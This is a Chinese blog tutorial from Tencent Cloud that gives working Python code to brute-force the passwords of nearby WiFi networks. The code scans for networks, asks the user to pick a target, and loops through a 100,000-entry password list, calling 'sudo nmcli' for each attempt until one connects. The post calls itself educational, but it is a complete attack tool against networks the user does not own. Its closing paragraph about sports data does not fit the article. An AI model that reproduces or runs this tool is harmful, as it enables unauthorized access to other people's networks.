Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >解锁WiFi密码,我只用了60行代码

解锁WiFi密码,我只用了60行代码

作者头像
iOS程序应用
发布于 2023-04-13 09:34:16
发布于 2023-04-13 09:34:16
58000
代码可运行
举报
运行总次数:0
代码可运行

WiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上WiFi。 因此,我们对WiFi密码的需求也没有之前那么迫切了。 如何连接WiFi密码? 本文,将会通过Python教大家如何实现,这里纯粹是为了学习用途。

WiFi列表 首先,我们需要获取附近的WiFi列表。 下面,就来写一个函数来获取附近的WiFi列表,函数命名为display_targets: def display_targets(networks, security_type): print("Select a target: \n")

rows, columns = os.popen('stty size', 'r').read().split() for i in range(len(networks)): width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2 spacer = " "

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 if (int(columns) >= 100):
     calc = int((int(columns)-int(width))*0.75)
 else:
         calc = int(columns)-int(width)
 
 for index in range(calc):
     spacer += "."
     if index == (calc-1):
         spacer += " "
     
 print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里,我们会用到ssid工具包,用来获取附近的WiFi列表,存入到参数networks。

选择WiFi 获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi, def prompt_for_target_choice(max): whileTrue: try: selected = int(input("\nEnter number of target: ")) if(selected >= 1and selected <= max): return selected - 1 except Exception as e: ignore = e​ print("Invalid choice: Please pick a number between 1 and " + str(max)) 这里很简单,就是一些通用的Python功能。

暴力破解 目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢? 这里要用到一种比较常见的方式:暴力破解。 这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。 def brute_force(selected_network, passwords, args): for password in passwords: # necessary due to NetworkManager restart after unsuccessful attempt at login password = password.strip()​ # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file if isinstance(password, str): decoded_line = password else: decoded_line = password.decode("utf-8")

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 if args.verbose isTrue:
     print(bcolors.HEADER+"** TESTING **: with password '" +
         decoded_line+"'"+bcolors.ENDC)if (len(decoded_line) >= 8):
     time.sleep(3)​
     creds = os.popen("sudo nmcli dev wifi connect " +
         selected_network+" password "+decoded_line).read()
         
     # print(creds)if ("Error:"in creds.strip()):
         if args.verbose isTrue:
             print(bcolors.FAIL+"** TESTING **: password '" +
                 decoded_line+"' failed."+bcolors.ENDC)
     else:
         sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
             decoded_line+"' succeeded."+bcolors.ENDC)
 else:
     if args.verbose isTrue:
         print(bcolors.OKCYAN+"** TESTING **: password '" +
             decoded_line+"' too short, passing."+bcolors.ENDC)

print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC) 核心功能3个函数就完成了,只用了60行Python代码! 下面就把它们串联在一起: def main(): require_root() args = argument_parser()​

The user chose to supplied their own url

if args.url isnotNone: passwords = fetch_password_from_url(args.url)

user elect to read passwords form a file

elif args.file isnotNone: file = open(args.file, "r") passwords = file.readlines() ifnot passwords: print("Password file cannot be empty!") exit(0) file.close() else: # fallback to the default list as the user didnt supplied a password list default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt" passwords = fetch_password_from_url(default_url)​

grabbing the list of the network ssids

func_call = start(1) networks = func_call[0] security_type = func_call[1]

ifnot networks: print("No networks found!") sys.exit(-1)​ display_targets(networks, security_type) max = len(networks) pick = prompt_for_target_choice(max) target = networks[pick]

print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")​ brute_force(target, passwords, args) 执行函数,就会在命令行下显示附近的WiFi列表,选择之后就开始逐个尝试密码。

不同的颜色代表不同不同的结果: 红色:测试失败 绿色:破解成功 紫色:测试中 现在,是不是发现这个看上去很复杂的事情变得简单许多? 结语 运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。 希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-09-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
我用60行python代码破解了WiFi密码
我用60行Python代码,破解了WiFi密码,然后买了个路由器进行一下**桥接**放大信号,就这样,已经免费用了很多年了....
程序员鑫港
2021/12/20
4.9K0
只用了20行Python代码就攻破了网站登录
Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度。
Python小二
2022/08/24
3610
只用了20行Python代码就攻破了网站登录
Python 开发代码片段笔记
作者编写的一些代码片段,本版本为残废删减版,没有加入多线程,也没有实现任何有价值的功能,只是一个临时记事本,记录下本人编写代码的一些思路,有价值的完整版就不发出来了,自己组织吧,代码没啥技术含量,毕竟Python这一块没怎么认真研究过,代码也都是随性瞎写的,大佬不要喷我,将就着看吧。
王 瑞
2022/12/28
1.3K0
Python 开发代码片段笔记
以太坊交互工具
以太坊提供了Geth客户端用于管理API,我们可以在终端输入geth help查看其具体使用方法:
Al1ex
2021/07/21
2K0
以太坊交互工具
vulnhub 靶场 napping
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
潇湘信安
2023/03/10
8310
vulnhub 靶场 napping
2.Jenkins进阶之流水线pipeline语法入门学习
Q: 什么是 Groovy 语言 答: Groovy 是 Apache 旗下的一门基于 JVM 平台的动态/敏捷编程语言,在语言的设计上它吸纳了 Python、Ruby 和 Smalltalk 语言的优秀特性,语法非常简练和优美,开发效率也非常高(编程语言的开发效率和性能是相互矛盾的,越高级的编程语言性能越差,因为意味着更多底层的封装,不过开发效率会更高,需结合使用场景做取舍)
全栈工程师修炼指南
2022/09/29
18.5K0
2.Jenkins进阶之流水线pipeline语法入门学习
渗透测试常规操作记录(下)
Linux 操作系统&内核版本&环境变量 >cat /etc/issue >cat /etc/*-release >cat /etc/lsb-release >cat /etc/redhat-release cat /proc/version >uname -a >uname -mrs >rpm -q kernel >dmesg | grep Linux >ls /boot | grep vmlinuz- >cat /etc/profile >cat /etc/bashrc >cat ~/.bash_pr
天钧
2020/10/23
5.9K0
渗透测试常规操作记录(下)
红蓝对抗之Windows内网渗透
无论是渗透测试,还是红蓝对抗,目的都是暴露风险,促进提升安全水平。企业往往在外网布置重兵把守,而内网防护相对来说千疮百孔,所以渗透高手往往通过攻击员工电脑、外网服务、职场WiFi等方式进入内网,然后发起内网渗透。而国内外红蓝对抗服务和开源攻击工具大多数以攻击Windows域为主,主要原因是域控拥有上帝能力,可以控制域内所有员工电脑,进而利用员工的合法权限获取目标权限和数据,达成渗透目的。
腾讯安全应急响应中心
2020/07/01
2.1K0
rsync 运维利器,同步工具
rsync - faster, flexible replacement for rcp
WindWant
2020/09/11
2.3K0
python编程快速上手
1、 5//2=2 5/2=2.5 2、全局变量 global foo 3、list.index(xx) 没有则引发异常 append,insert(x),remove() self.sort(reverse=True) self.sort(key=str.lower) sorted 4
用户5760343
2022/05/13
2720
python编程快速上手
hostapd.conf详细
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/143200.html原文链接:https://javaforall.cn
全栈程序员站长
2022/08/31
1.3K0
主流大数据技术全体系参数与搭建与后台代码工程框架的编写(百分之70)
之前查阅源码啊,性能测试啊调优啊。。基本告一段落,项目也接近尾声,那么整理下spark所有配置参数与优化策略,方便以后开发与配置:
用户3003813
2018/09/06
1.3K0
主流大数据技术全体系参数与搭建与后台代码工程框架的编写(百分之70)
CentOS下redis集群安装
环境: 一台CentOS虚拟机上部署六个节点,创建3个master,3个slave节点
肖哥哥
2018/08/02
1.2K0
Docker 介绍
    Docker就是手机中的各种APP,只需要一个系统就可以下载自己所需的应用
IT茂茂
2022/05/11
2.3K0
Docker 介绍
OpenStack云计算之路-Mitaka 版本
1.1 云计算简介 云计算(英语:cloud computing ),是一种基于互联网的计算方式,通过这种方式,共享的软硬件资源和信息可以按需求提供给计算机各种终端和其他设备。 云计算是继1980年代
惨绿少年
2018/03/30
6.4K0
Redis集群搭建
在 redis3.0之前,redis使用的哨兵架构,它借助 sentinel 工具来监控 master 节点的状态;如果 master 节点异常,则会做主从切换,将一台 slave 作为 master。
jwangkun
2021/12/24
1.7K1
Redis集群搭建
Elasticsearch readonlyrest
ReadonlyREST is a light weight Elasticsearch plugin that adds encryption, authentication, authorization and access control capabilities to Elasticsearch embedded REST API. The core of this plugin is an ACL engine that checks each incoming request through a sequence of rules a bit like a firewall. There are a dozen rules that can be grouped in sequences of blocks and form a powerful representation of a logic chain.
鹏程
2023/05/02
3.3K0
Elasticsearch readonlyrest
37.Django1.11.6文档
第一步 入门 检查版本 python -m django --version 创建第一个项目 django-admin startproject mysite 运行 python manage.py runserver 更改端口 python manage.py runserver 8080 更改IP python manage.py runserver 0:8000 1.创建app 创建投票应用 python manage.py startapp polls polls/views.py from dj
zhang_derek
2018/04/11
25.3K0
37.Django1.11.6文档
NumPyML 源码解析(一)
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
ApacheCN_飞龙
2024/02/17
4120
基于逻辑回归的利用欠采样处理类别不平衡的
这个信用卡欺诈数据集是从kaggle上下载的,网址(https://www.kaggle.com/mlg-ulb/creditcardfraud#creditcard.csv) 在这个网址里也有对数据集的详细介绍,从上面摘取一部分数据集介绍:数据集包含由欧洲持卡人于2013年9月使用信用卡进行交的数据。此数据集显示两天内发生的交易,其中284,807笔交易中有492笔被盗刷。数据集非常不平衡,正例(被盗刷)占所有交易的0.172%。它只包含作为PCA转换结果的数字输入变量,这是因为由于保密问题,我们无法提供有关数据的原始功能和更多背景信息。特征V1,V2,... V28是使用PCA获得的主要组件,没有用PCA转换的唯一特征是“时间”和“量”。特征'时间'包含数据集中每个刷卡时间和第一次刷卡时间之间经过的秒数。特征“金额”是交易金额,此特征可用于实例依赖的成本认知学习。特征'类'是响应变量,如果发生被盗刷,则取值1,否则为0。
py3study
2020/01/17
1K0
相关推荐
我用60行python代码破解了WiFi密码
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档